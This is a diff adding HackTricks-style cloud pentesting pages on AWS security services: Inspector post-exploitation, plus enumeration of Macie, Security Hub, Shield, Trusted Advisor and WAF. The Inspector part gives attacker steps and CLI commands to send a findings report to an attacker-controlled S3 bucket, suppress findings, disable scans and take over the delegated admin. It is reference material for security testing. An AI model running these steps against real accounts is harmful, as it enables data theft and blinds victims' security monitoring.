1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "allow-inspector",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "inspector2.amazonaws.com"
|
||||
},
|
||||
"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"],
|
||||
"Resource": "arn:aws:s3:::inspector-findings/*",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "<victim-account-id>"
|
||||
},
|
||||
"ArnLike": {
|
||||
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-policy",
|
||||
"Statement": [
|
||||
{
|
||||
...
|
||||
},
|
||||
{
|
||||
"Sid": "Allow victim Amazon Inspector to use the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "inspector2.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "<victim-account-id>"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
3. Execute the command to **create the findings report** exfiltrating it:
|
||||
|
||||
```bash
|
||||
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
|
||||
```
|
||||
|
||||
- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses.
|
||||
|
||||
#### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
|
||||
|
||||
An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues.
|
||||
|
||||
```bash
|
||||
# Cancel findings report generation
|
||||
aws inspector2 cancel-findings-report --report-id <value>
|
||||
# Cancel SBOM report generatiom
|
||||
aws inspector2 cancel-sbom-export --report-id <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues.
|
||||
|
||||
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
|
||||
|
||||
An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response.
|
||||
|
||||
```bash
|
||||
# Create
|
||||
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
|
||||
# Update
|
||||
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
|
||||
# Delete
|
||||
aws inspector2 delete-filter --arn <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings.
|
||||
|
||||
#### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`)
|
||||
|
||||
An attacker could significantly disrupt the security management structure.
|
||||
|
||||
- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports.
|
||||
- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities.
|
||||
|
||||
> [!WARNING]
|
||||
> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator.
|
||||
>
|
||||
> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
|
||||
|
||||
```bash
|
||||
# Disable
|
||||
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
|
||||
# Enable
|
||||
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of the security management.
|
||||
|
||||
#### `inspector2:AssociateMember`, `inspector2:DisassociateMember`
|
||||
|
||||
An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection.
|
||||
|
||||
> [!WARNING]
|
||||
> This action requires to be performed by the delegated administrator.
|
||||
|
||||
```bash
|
||||
# Associate
|
||||
aws inspector2 associate-member --account-id <value>
|
||||
# Disassociate
|
||||
aws inspector2 disassociate-member --account-id <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities.
|
||||
|
||||
#### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
|
||||
|
||||
An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations.
|
||||
|
||||
> [!WARNING]
|
||||
> This action requires to be performed by the delegated administrator.
|
||||
|
||||
```bash
|
||||
# Disable
|
||||
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
|
||||
# Enable
|
||||
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
|
||||
```
|
||||
|
||||
- **Potential Impact**: Creation of blind spots in the security monitoring.
|
||||
|
||||
#### `inspector2:UpdateOrganizationConfiguration`
|
||||
|
||||
An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts.
|
||||
|
||||
> [!WARNING]
|
||||
> This action requires to be performed by the delegated administrator.
|
||||
|
||||
```bash
|
||||
aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Alter security scan policies and configurations for the organization.
|
||||
|
||||
#### `inspector2:TagResource`, `inspector2:UntagResource`
|
||||
|
||||
An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity.
|
||||
|
||||
```bash
|
||||
aws inspector2 tag-resource --resource-arn <value> --tags <value>
|
||||
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation.
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html)
|
||||
- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,118 @@
|
||||
# AWS - Macie Enum
|
||||
|
||||
## AWS - Macie Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Macie
|
||||
|
||||
Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns.
|
||||
|
||||
Key Features of Amazon Macie:
|
||||
|
||||
1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account.
|
||||
2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks.
|
||||
3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time.
|
||||
4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings.
|
||||
5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks.
|
||||
|
||||
Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality.
|
||||
|
||||
### Alert System
|
||||
|
||||
Macie categorizes alerts into predefined categories like:
|
||||
|
||||
- Anonymized access
|
||||
- Data compliance
|
||||
- Credential Loss
|
||||
- Privilege escalation
|
||||
- Ransomware
|
||||
- Suspicious access, etc.
|
||||
|
||||
These alerts provide detailed descriptions and result breakdowns for effective response and resolution.
|
||||
|
||||
### Dashboard Features
|
||||
|
||||
The dashboard categorizes data into various sections, including:
|
||||
|
||||
- S3 Objects (by time range, ACL, PII)
|
||||
- High-risk CloudTrail events/users
|
||||
- Activity Locations
|
||||
- CloudTrail user identity types, and more.
|
||||
|
||||
### User Categorization
|
||||
|
||||
Users are classified into tiers based on the risk level of their API calls:
|
||||
|
||||
- **Platinum**: High-risk API calls, often with admin privileges.
|
||||
- **Gold**: Infrastructure-related API calls.
|
||||
- **Silver**: Medium-risk API calls.
|
||||
- **Bronze**: Low-risk API calls.
|
||||
|
||||
### Identity Types
|
||||
|
||||
Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests.
|
||||
|
||||
### Data Classification
|
||||
|
||||
Data classification encompasses:
|
||||
|
||||
- Content-Type: Based on detected content type.
|
||||
- File Extension: Based on file extension.
|
||||
- Theme: Categorized by keywords within files.
|
||||
- Regex: Categorized based on specific regex patterns.
|
||||
|
||||
The highest risk among these categories determines the file's final risk level.
|
||||
|
||||
### Research and Analysis
|
||||
|
||||
Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```
|
||||
# Get buckets
|
||||
aws macie2 describe-buckets
|
||||
|
||||
# Org config
|
||||
aws macie2 describe-organization-configuration
|
||||
|
||||
# Get admin account (if any)
|
||||
aws macie2 get-administrator-account
|
||||
aws macie2 list-organization-admin-accounts # Run from the management account of the org
|
||||
|
||||
# Get macie account members (run this form the admin account)
|
||||
aws macie2 list-members
|
||||
|
||||
# Check if automated sensitive data discovey is enabled
|
||||
aws macie2 get-automated-discovery-configuration
|
||||
|
||||
# Get findings
|
||||
aws macie2 list-findings
|
||||
aws macie2 get-findings --finding-ids <ids>
|
||||
aws macie2 list-findings-filters
|
||||
aws macie2 get -findings-filters --id <id>
|
||||
|
||||
# Get allow lists
|
||||
aws macie2 list-allow-lists
|
||||
aws macie2 get-allow-list --id <id>
|
||||
|
||||
# Get different info
|
||||
aws macie2 list-classification-jobs
|
||||
aws macie2 list-classification-scopes
|
||||
aws macie2 list-custom-data-identifiers
|
||||
```
|
||||
|
||||
#### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\
|
||||
> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier.
|
||||
|
||||
TODO: PRs are welcome!
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS - Security Hub Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Security Hub
|
||||
|
||||
**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues.
|
||||
|
||||
It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts
|
||||
|
||||
**Characteristics**
|
||||
|
||||
- Regional (findings don't cross regions)
|
||||
- Multi-account support
|
||||
- Findings from:
|
||||
- Guard Duty
|
||||
- Config
|
||||
- Inspector
|
||||
- Macie
|
||||
- third party
|
||||
- self-generated against CIS standards
|
||||
|
||||
## Enumeration
|
||||
|
||||
```
|
||||
# Get basic info
|
||||
aws securityhub describe-hub
|
||||
|
||||
# Get securityhub org config
|
||||
aws securityhub describe-organization-configuration #If the current account isn't the security hub admin, you will get an error
|
||||
|
||||
# Get the configured admin for securityhub
|
||||
aws securityhub get-administrator-account
|
||||
aws securityhub get-master-account # Another way
|
||||
aws securityhub list-organization-admin-accounts # Another way
|
||||
|
||||
# Get enabled standards
|
||||
aws securityhub get-enabled-standards
|
||||
|
||||
# Get the findings
|
||||
aws securityhub get-findings
|
||||
|
||||
# Get insights
|
||||
aws securityhub get-insights
|
||||
|
||||
# Get Automation rules (must be from the admin account)
|
||||
aws securityhub list-automation-rules
|
||||
|
||||
# Get members (must be from the admin account)
|
||||
aws securityhub list-members
|
||||
aws securityhub get-members --account-ids <acc-id>
|
||||
```
|
||||
|
||||
## Bypass Detection
|
||||
|
||||
TODO, PRs accepted
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info)
|
||||
- [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,15 @@
|
||||
# AWS - Shield Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Shield
|
||||
|
||||
AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS.
|
||||
|
||||
**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53.
|
||||
|
||||
**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**.
|
||||
|
||||
Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,71 @@
|
||||
# AWS - Trusted Advisor Enum
|
||||
|
||||
## AWS - Trusted Advisor Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS Trusted Advisor Overview
|
||||
|
||||
Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories:
|
||||
|
||||
1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses.
|
||||
2. **Performance:** Identifies potential performance bottlenecks.
|
||||
3. **Security:** Scans for vulnerabilities or weak security configurations.
|
||||
4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance.
|
||||
|
||||
The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security.
|
||||
|
||||
### Notifications and Data Refresh
|
||||
|
||||
- Trusted Advisor can issue alerts.
|
||||
- Items can be excluded from its checks.
|
||||
- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh.
|
||||
|
||||
### **Checks Breakdown**
|
||||
|
||||
#### CategoriesCore
|
||||
|
||||
1. Cost Optimization
|
||||
2. Security
|
||||
3. Fault Tolerance
|
||||
4. Performance
|
||||
5. Service Limits
|
||||
6. S3 Bucket Permissions
|
||||
|
||||
#### Core Checks
|
||||
|
||||
Limited to users without business or enterprise support plans:
|
||||
|
||||
1. Security Groups - Specific Ports Unrestricted
|
||||
2. IAM Use
|
||||
3. MFA on Root Account
|
||||
4. EBS Public Snapshots
|
||||
5. RDS Public Snapshots
|
||||
6. Service Limits
|
||||
|
||||
#### Security Checks
|
||||
|
||||
A list of checks primarily focusing on identifying and rectifying security threats:
|
||||
|
||||
- Security group settings for high-risk ports
|
||||
- Security group unrestricted access
|
||||
- Open write/list access to S3 buckets
|
||||
- MFA enabled on root account
|
||||
- RDS security group permissiveness
|
||||
- CloudTrail usage
|
||||
- SPF records for Route 53 MX records
|
||||
- HTTPS configuration on ELBs
|
||||
- Security groups for ELBs
|
||||
- Certificate checks for CloudFront
|
||||
- IAM access key rotation (90 days)
|
||||
- Exposure of access keys (e.g., on GitHub)
|
||||
- Public visibility of EBS or RDS snapshots
|
||||
- Weak or absent IAM password policies
|
||||
|
||||
AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices.
|
||||
|
||||
## **References**
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,471 @@
|
||||
# AWS - WAF Enum
|
||||
|
||||
## AWS - WAF Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS WAF
|
||||
|
||||
AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules.
|
||||
|
||||
### Key concepts
|
||||
|
||||
#### Web ACL (Access Control List)
|
||||
|
||||
A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions.
|
||||
|
||||
#### Rule Group
|
||||
|
||||
A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs.
|
||||
|
||||
Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it.
|
||||
|
||||
#### Rule
|
||||
|
||||
A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules:
|
||||
|
||||
1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests.
|
||||
2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**.
|
||||
|
||||
#### Managed Rules
|
||||
|
||||
AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities.
|
||||
|
||||
#### IP Set
|
||||
|
||||
An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules.
|
||||
|
||||
#### Regex Pattern Set
|
||||
|
||||
A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters.
|
||||
|
||||
#### Lock Token
|
||||
|
||||
A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously.
|
||||
|
||||
#### API Keys
|
||||
|
||||
API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations.
|
||||
|
||||
- **Example**: Integration of the CAPTCHA API.
|
||||
|
||||
#### Permission Policy
|
||||
|
||||
A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations.
|
||||
|
||||
#### Scope
|
||||
|
||||
The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution.
|
||||
|
||||
- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located.
|
||||
- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served.
|
||||
|
||||
### Key features
|
||||
|
||||
#### Monitoring Criteria (Conditions)
|
||||
|
||||
**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**.
|
||||
|
||||
Each AWS account can configure:
|
||||
|
||||
- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased).
|
||||
- **100 rules** and **50 Web ACLs**.
|
||||
- A maximum of **5 rate-based rules**.
|
||||
- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer.
|
||||
|
||||
#### Rule actions
|
||||
|
||||
Actions are assigned to each rule, with options being:
|
||||
|
||||
- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer.
|
||||
- **Block**: The request is terminated immediately.
|
||||
- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block.
|
||||
- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges.
|
||||
|
||||
If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence:
|
||||
|
||||
1. Allow Whitelisted IPs.
|
||||
2. Block Blacklisted IPs.
|
||||
3. Block requests matching any detrimental signatures.
|
||||
|
||||
#### CloudWatch Integration
|
||||
|
||||
AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks.
|
||||
|
||||
### Enumeration
|
||||
|
||||
In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia):
|
||||
|
||||
- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` .
|
||||
- API and SDKs - For all calls, use the Region endpoint us-east-1.
|
||||
|
||||
In order to interact with regional services, you should specify the region:
|
||||
|
||||
- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2`
|
||||
|
||||
```bash
|
||||
# Web ACLs #
|
||||
|
||||
## Retrieve a list of web access control lists (Web ACLs) available in your AWS account
|
||||
aws wafv2 list-web-acls --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieve details about the specified Web ACL
|
||||
aws wafv2 get-web-acl --name <value> --id <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
|
||||
## Retrieve a list of resources associated with a specific web access control list (Web ACL)
|
||||
aws wafv2 list-resources-for-web-acl --web-acl-arn <value> # Additional permissions needed depending on the protected resource type: cognito-idp:ListResourcesForWebACL, ec2:DescribeVerifiedAccessInstanceWebAclAssociations or apprunner:ListAssociatedServicesForWebAcl
|
||||
## Retrieve the Web ACL associated with the specified AWS resource
|
||||
aws wafv2 get-web-acl-for-resource --resource-arn <arn> # Additional permissions needed depending on the protected resource type: cognito-idp:GetWebACLForResource, ec2:GetVerifiedAccessInstanceWebAcl, wafv2:GetWebACL or apprunner:DescribeWebAclForService
|
||||
|
||||
# Rule groups #
|
||||
|
||||
## List of the rule groups available in your AWS account
|
||||
aws wafv2 list-rule-groups --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieve the details of a specific rule group
|
||||
aws wafv2 get-rule-group [--name <value>] [--id <value>] [--arn <value>] [--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>]
|
||||
## Retrieve the IAM policy attached to the specified rule group
|
||||
aws wafv2 get-permission-policy --resource-arn <rule-group-arn> # Just the owner of the Rule Group can do this operation
|
||||
|
||||
# Managed rule groups (by AWS or by a third-party) #
|
||||
|
||||
## List the managed rule groups that are available
|
||||
aws wafv2 list-available-managed-rule-groups --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## List the available versions of the specified managed rule group
|
||||
aws wafv2 list-available-managed-rule-group-versions --vendor-name <value> --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieve high-level information about a specific managed rule group
|
||||
aws wafv2 describe-managed-rule-group --vendor-name <value> --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--version-name <value>]
|
||||
## Retrieve high-level information about all managed rule groups
|
||||
aws wafv2 describe-all-managed-products --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieve high-level information about all managed rule groups from a specific vendor
|
||||
aws wafv2 describe-managed-products-by-vendor --vendor-name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
|
||||
# IP sets #
|
||||
|
||||
## List the IP sets that are available in your AWS account
|
||||
aws wafv2 list-ip-sets --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieve the specific IP set
|
||||
aws wafv2 get-ip-set --name <value> --id <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieve the keys that are currently being managed by a rate-based rule.
|
||||
aws wafv2 get-rate-based-statement-managed-keys --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>\
|
||||
--web-acl-name <value> --web-acl-id <value> --rule-name <value> [--rule-group-rule-name <value>]
|
||||
|
||||
# Regex pattern sets #
|
||||
|
||||
## List all the regex pattern sets that you manage
|
||||
aws wafv2 list-regex-pattern-sets --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieves the specified regex pattern sets
|
||||
aws wafv2 get-regex-pattern-set --name <value> --id <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
|
||||
# API Keys #
|
||||
|
||||
## List API keys for the specified scope
|
||||
aws wafv2 list-api-keys --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
## Retrieve decrypted API key
|
||||
aws wafv2 get-decrypted-api-key --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --api-key <value>
|
||||
|
||||
# Logs #
|
||||
|
||||
## List of logging configurations (storage location of the logs)
|
||||
aws wafv2 list-logging-configurations --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--log-scope <value>]
|
||||
## Retrieve the logging configuration settings associated with a specific web ACL
|
||||
aws wafv2 get-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
|
||||
|
||||
# Miscelaneous #
|
||||
|
||||
## Retrieve a list of the tags associated to the specified resource
|
||||
aws wafv2 list-tags-for-resource resource-arn <value>
|
||||
|
||||
## Retrieve a sample of web requests that match a specified rule within a WebACL during a specified time range
|
||||
aws wafv2 get-sampled-requests --web-acl-arn <value> --rule-metric-name <value> --time-window <value> --max-items <1-500> --scope <value>
|
||||
|
||||
## Obtains the web ACL capacity unit (WCU) requirements for a specified scope and ruleset
|
||||
aws wafv2 check-capacity --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --rules <value>
|
||||
|
||||
## List of available releases for the AWS WAFv2 mobile SDK
|
||||
aws wafv2 list-mobile-sdk-releases --platform <IOS | ANDROID>
|
||||
## Retrieves information for the specified mobile SDK release
|
||||
aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
|
||||
|
||||
```
|
||||
|
||||
### Post Exploitation / Bypass
|
||||
|
||||
> [!TIP]
|
||||
> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs.
|
||||
>
|
||||
> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF.
|
||||
|
||||
In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource.
|
||||
|
||||
